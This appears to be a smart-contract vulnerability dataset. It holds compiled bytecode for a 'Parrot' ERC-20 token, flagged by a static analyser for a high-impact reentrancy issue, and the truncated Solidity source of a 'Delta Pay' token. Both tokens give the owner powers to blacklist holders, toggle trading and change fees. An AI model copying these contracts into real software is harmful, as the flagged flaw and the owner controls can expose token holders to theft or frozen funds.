fffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90613113565b60405180910390fd5b60005b815181101561082c576001601060008484815181106107c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610824906134ed565b915050610778565b5050565b60606040518060400160405280600681526020017f506172726f740000000000000000000000000000000000000000000000000000815250905090565b600061088161087a611423565b848461142b565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108d08484846115f6565b610991846108dc611423565b61098c856040518060600160405280602881526020016139d460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610942611423565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de69092919063ffffffff16565b61142b565b600190509392505050565b6109a4611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2890613113565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abb906130d3565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b5c611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090613113565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c4c611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090613113565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37611423565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d6581611e4a565b50565b6000610db2600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb6565b9050919050565b610dc1611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590613113565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f14611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890613113565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610fe2611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461106f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106690613113565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f504152524f540000000000000000000000000000000000000000000000000000815250905090565b6110d7611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611164576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115b90613113565b60405180910390fd5b8060188190555050565b611176611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90613113565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000611239611232611423565b84846115f6565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112c4611423565b73ffffffffffffffffffffffffffffffffffffffff16146112e457600080fd5b60006112ef30610d68565b90506112fa81611f24565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61138c611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141090613113565b60405180910390fd5b8060178190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149290613193565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150290613073565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e991906131b3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d90613153565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd90612ff3565b60405180910390fd5b60008111611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090613133565b60405180910390fd5b611721610fb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178f575061175f610fb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae557601560149054906101000a900460ff1661183557601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182b90613013565b60405180910390fd5b5b60165481111561187a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187190613053565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561191e5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195490613093565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a0a57601754816119bf84610d68565b6119c991906132e9565b10611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090613173565b60405180910390fd5b5b6000611a1530610d68565b9050600060185482101590506016548210611a305760165491505b808015611a48575060158054906101000a900460ff16155b8015611aa25750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611aba5750601560169054906101000a900460ff165b15611ae257611ac882611f24565b60004790506000811115611ae057611adf47611e4a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b8c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c3f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c3e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611c4d5760009050611dd4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cf85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d1057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611dbb5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611dd357600a54600c81905550600b54600d819055505b5b611de08484848461221c565b50505050565b6000838311158290611e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e259190612fd1565b60405180910390fd5b5060008385611e3d91906133ca565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611eb2573d6000803e3d6000fd5b5050565b6000600654821115611efd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef490613033565b60405180910390fd5b6000611f07612249565b9050611f1c818461227490919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f81577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611faf5781602001602082028036833780820191505090505b5090503081600081518110611fed577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208f57600080fd5b505afa1580156120a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c79190612a5c565b81600181518110612101577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142b565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121cc9594939291906131ce565b600060405180830381600087803b1580156121e657600080fd5b505af11580156121fa573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061222a576122296122be565b5b612235848484612301565b80612243576122426124cc565b5b50505050565b60008060006122566124e0565b9150915061226d818361227490919063ffffffff16565b9250505090565b60006122b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612545565b905092915050565b6000600c541480156122d257506000600d54145b156122dc576122ff565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612313876125a8565b95509550955095509550955061237186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612452816126b8565b61245c8483612775565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124b991906131b3565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600069152d02c7e14af6800000905061251869152d02c7e14af680000060065461227490919063ffffffff16565b8210156125385760065469152d02c7e14af6800000935093505050612541565b81819350935050505b9091565b6000808311829061258c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125839190612fd1565b60405180910390fd5b506000838561259b919061333f565b9050809150509392505050565b60008060008060008060008060006125c58a600c54600d546127af565b92509250925060006125d5612249565b905060008060006125e88e878787612845565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061265283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611de6565b905092915050565b600080828461266991906132e9565b9050838110156126ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a5906130b3565b60405180910390fd5b8091505092915050565b60006126c2612249565b905060006126d982846128ce90919063ffffffff16565b905061272d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61278a8260065461261090919063ffffffff16565b6006819055506127a58160075461265a90919063ffffffff16565b6007819055505050565b6000806000806127db60646127cd888a6128ce90919063ffffffff16565b61227490919063ffffffff16565b9050600061280560646127f7888b6128ce90919063ffffffff16565b61227490919063ffffffff16565b9050600061282e82612820858c61261090919063ffffffff16565b61261090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061285e85896128ce90919063ffffffff16565b9050600061287586896128ce90919063ffffffff16565b9050600061288c87896128ce90919063ffffffff16565b905060006128b5826128a7858761261090919063ffffffff16565b61261090919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156128e15760009050612943565b600082846128ef9190613370565b90508284826128fe919061333f565b1461293e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612935906130f3565b60405180910390fd5b809150505b92915050565b600061295c61295784613268565b613243565b9050808382526020820190508285602086028201111561297b57600080fd5b60005b858110156129ab578161299188826129b5565b84526020840193506020830192505060018101905061297e565b5050509392505050565b6000813590506129c48161398e565b92915050565b6000815190506129d98161398e565b92915050565b600082601f8301126129f057600080fd5b8135612a00848260208601612949565b91505092915050565b600081359050612a18816139a5565b92915050565b600081359050612a2d816139bc565b92915050565b600060208284031215612a4557600080fd5b6000612a53848285016129b5565b91505092915050565b600060208284031215612a6e57600080fd5b6000612a7c848285016129ca565b91505092915050565b60008060408385031215612a9857600080fd5b6000612aa6858286016129b5565b9250506020612ab7858286016129b5565b9150509250929050565b600080600060608486031215612ad657600080fd5b6000612ae4868287016129b5565b9350506020612af5868287016129b5565b9250506040612b0686828701612a1e565b9150509250925092565b60008060408385031215612b2357600080fd5b6000612b31858286016129b5565b9250506020612b4285828601612a09565b9150509250929050565b60008060408385031215612b5f57600080fd5b6000612b6d858286016129b5565b9250506020612b7e85828601612a1e565b9150509250929050565b600060208284031215612b9a57600080fd5b600082013567ffffffffffffffff811115612bb457600080fd5b612bc0848285016129df565b91505092915050565b600060208284031215612bdb57600080fd5b6000612be984828501612a09565b91505092915050565b600060208284031215612c0457600080fd5b6000612c1284828501612a1e565b91505092915050565b60008060008060808587031215612c3157600080fd5b6000612c3f87828801612a1e565b9450506020612c5087828801612a1e565b9350506040612c6187828801612a1e565b9250506060612c7287828801612a1e565b91505092959194509250565b6000612c8a8383612c96565b60208301905092915050565b612c9f816133fe565b82525050565b612cae816133fe565b82525050565b6000612cbf826132a4565b612cc981856132c7565b9350612cd483613294565b8060005b83811015612d05578151612cec8882612c7e565b9750612cf7836132ba565b925050600181019050612cd8565b5085935050505092915050565b612d1b81613410565b82525050565b612d2a81613453565b82525050565b612d3981613477565b82525050565b6000612d4a826132af565b612d5481856132d8565b9350612d64818560208601613489565b612d6d816135c3565b840191505092915050565b6000612d856023836132d8565b9150612d90826135d4565b604082019050919050565b6000612da8603f836132d8565b9150612db382613623565b604082019050919050565b6000612dcb602a836132d8565b9150612dd682613672565b604082019050919050565b6000612dee601c836132d8565b9150612df9826136c1565b602082019050919050565b6000612e116022836132d8565b9150612e1c826136ea565b604082019050919050565b6000612e346023836132d8565b9150612e3f82613739565b604082019050919050565b6000612e57601b836132d8565b9150612e6282613788565b602082019050919050565b6000612e7a6017836132d8565b9150612e85826137b1565b602082019050919050565b6000612e9d6021836132d8565b9150612ea8826137da565b604082019050919050565b6000612ec06020836132d8565b9150612ecb82613829565b602082019050919050565b6000612ee36029836132d8565b9150612eee82613852565b604082019050919050565b6000612f066025836132d8565b9150612f11826138a1565b604082019050919050565b6000612f296023836132d8565b9150612f34826138f0565b604082019050919050565b6000612f4c6024836132d8565b9150612f578261393f565b604082019050919050565b612f6b8161343c565b82525050565b612f7a81613446565b82525050565b6000602082019050612f956000830184612ca5565b92915050565b6000602082019050612fb06000830184612d12565b92915050565b6000602082019050612fcb6000830184612d21565b92915050565b60006020820190508181036000830152612feb8184612d3f565b905092915050565b6000602082019050818103600083015261300c81612d78565b9050919050565b6000602082019050818103600083015261302c81612d9b565b9050919050565b6000602082019050818103600083015261304c81612dbe565b9050919050565b6000602082019050818103600083015261306c81612de1565b9050919050565b6000602082019050818103600083015261308c81612e04565b9050919050565b600060208201905081810360008301526130ac81612e27565b9050919050565b600060208201905081810360008301526130cc81612e4a565b9050919050565b600060208201905081810360008301526130ec81612e6d565b9050919050565b6000602082019050818103600083015261310c81612e90565b9050919050565b6000602082019050818103600083015261312c81612eb3565b9050919050565b6000602082019050818103600083015261314c81612ed6565b9050919050565b6000602082019050818103600083015261316c81612ef9565b9050919050565b6000602082019050818103600083015261318c81612f1c565b9050919050565b600060208201905081810360008301526131ac81612f3f565b9050919050565b60006020820190506131c86000830184612f62565b92915050565b600060a0820190506131e36000830188612f62565b6131f06020830187612d30565b81810360408301526132028186612cb4565b90506132116060830185612ca5565b61321e6080830184612f62565b9695505050505050565b600060208201905061323d6000830184612f71565b92915050565b600061324d61325e565b905061325982826134bc565b919050565b6000604051905090565b600067ffffffffffffffff82111561328357613282613594565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132f48261343c565b91506132ff8361343c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561333457613333613536565b5b828201905092915050565b600061334a8261343c565b91506133558361343c565b92508261336557613364613565565b5b828204905092915050565b600061337b8261343c565b91506133868361343c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133bf576133be613536565b5b828202905092915050565b60006133d58261343c565b91506133e08361343c565b9250828210156133f3576133f2613536565b5b828203905092915050565b60006134098261341c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061345e82613465565b9050919050565b60006134708261341c565b9050919050565b60006134828261343c565b9050919050565b60005b838110156134a757808201518184015260208101905061348c565b838111156134b6576000848401525b50505050565b6134c5826135c3565b810181811067ffffffffffffffff821117156134e4576134e3613594565b5b80604052505050565b60006134f88261343c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561352b5761352a613536565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613997816133fe565b81146139a257600080fd5b50565b6139ae81613410565b81146139b957600080fd5b50565b6139c58161343c565b81146139d057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206e4c485a094341b0944002efe3df212e0c5848ed81076d67fb30795b7a96a4e064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,043
0x6ee8da3f1ba3db5d7236bb882fc1f8bfc2810e9f
/** *Submitted for verification at Etherscan.io on 2022-03-23 */ /* Our mission: With strong belief in the general application of cryptocurrency, we build global financial infrastructure and applications to empower businesses to operate anywhere, anytime. Our inspiration: To be the the most convenient and user-friendly payment gateway and provide one-stop crypto payment services for businesses and people Our goals: To connect entrepreneurs, business builders, creators and investors across the globe https://t.me/deltapay SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DeltaPay is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Delta Pay"; string private constant _symbol = "DeltaPay"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 0; uint256 private _taxFeeJeets = 7; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x7cC05edC4e402956C60bfB46db280f00705C2237); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 2e10 * 10**9; uint256 public _maxWalletSize = 2e10 * 10**9; uint256 public _swapTokensAtAmount = 1001 * 10**9; uint256 public _minimumBuyAmount = 2e10 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be 